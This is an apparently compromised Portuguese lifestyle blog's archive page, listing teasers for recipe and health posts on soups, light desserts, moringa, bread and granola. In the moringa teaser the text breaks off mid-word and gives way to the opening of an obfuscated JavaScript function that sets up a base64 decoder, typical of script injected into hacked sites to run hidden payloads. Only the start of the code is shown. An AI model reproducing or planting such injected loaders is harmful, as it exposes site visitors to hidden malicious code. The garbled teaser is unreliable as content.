Alimentos que devemos consumir todos os dias

Jun 25, 2019 | Dicas úteis, Equilíbrio, Saúde e bem estar

Alimentos que devemos consumir todos os dias     Como bem sabe, gosto de lhe dar diariamente conselhos sobre alimentação. Acredito profundamente que somos o que comemos e que devemos ter uma alimentação equilibrada e muito variada, comendo um pouco de tudo. Assim...

Sopa cremosa de couve-flor e cenoura

Fev 28, 2019 | À descoberta, Receitas

Sopa cremosa de couve-flor e cenoura     As sopas são um dos pratos preferidos dos portugueses. E ainda bem! São pratos saborosos, nutritivos e por norma fáceis de fazer. Eu adoro provar várias receitas de sopa e sei que não estou sozinha! A pensar em todos aqueles...

Mousse de frutos vermelhos – Uma sobremesa light e irresistível

Ago 27, 2017 | Receitas

Mousse de frutos vermelhos: Uma sobremesa light e irresistível     Nestes dias quentes de verão sentimos mais vontade de comer gelados ou outras sobremesas refrescantes. No entanto, todas essas tentações fazem mal à nossa saúde se consumidas em excesso e, por isso,...

10 Dicas para retardar o aparecimento de rugas

Ago 26, 2017 | Estilo e beleza

10 Dicas para retardar o aparecimento de rugas Já sabe que adoro dar-lhe dicas úteis para que se sinta sempre bem consigo mesmo, e por isso, hoje escolhi 10 dicas essenciais que ajudam a retardar o aparecimento de rugas! Por vezes é difícil contrariar a força da...

3 Gelados saudáveis e irresistíveis para os dias quentes

Jul 28, 2017 | Receitas

3 Gelados saudáveis e irresistíveis para os dias quentes   O calor não dá tréguas e por isso escolhi mostrar-lhe 3 receitas de gelados saudáveis e irresistíveis para estes dias quentes. Assim pode deliciar-se com um gelado delicioso sem culpa e sem lhe pesar na...

Dicas saudáveis – benefícios da moringa

Jul 13, 2017 | Saúde e bem estar

Dicas saudáveis – benefícios da moringa     A moringa tem muitos benefícios, já que possui uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Bolo de canela na caneca com gelado de banana – uma sobremesa saudável

Jul 13, 2017 | Receitas

Bolo de canela na caneca com gelado de banana – uma sobremesa saudável     Se está de dieta e não consegue resistir aos doces, hoje trago-lhe mais uma sugestão com que se pode deliciar sem culpa e sem aumentar os números da balança. Um bolo de canela na caneca...

Descubra qual o tipo de pão adequado à sua dieta

Jun 16, 2017 | Saúde e bem estar

Descubra qual o tipo de pão adequado à sua dieta     Quentinho ou fresco e fofo. Com um fio de azeite ou manteiga, com doces ou geleias… O pão é delicioso de qualquer forma! Mas não devemos exagerar, já que em excesso pode ser prejudicial para a nossa saúde. Hoje em...

Sopa roxa detox para a Primavera

Jun 5, 2017 | Faça você mesmo, Receitas

Sopa roxa detox para a Primavera   Hoje trago-lhe uma receita de uma sopa roxa detox para a Primavera. É uma opção saudável e deliciosa para os seus jantares, principalmente se estiver a preparar o corpo para o verão e a tentar reduzir os números na balança! Esta sopa...

7 benefícios da granola + receita pequeno-almoço completo

Abr 25, 2017 | Dicas úteis, Faça você mesmo, Receitas

7 benefícios da granola + receita pequeno-almoço completo     Cada vez recebo mais mensagens a pedir boas receitas de pequenos-almoços, pelo que hoje vou falar-lhe acerca dos benefícios da granola. Antes de mais, sabe o que é a granola? É uma mistura deliciosa de...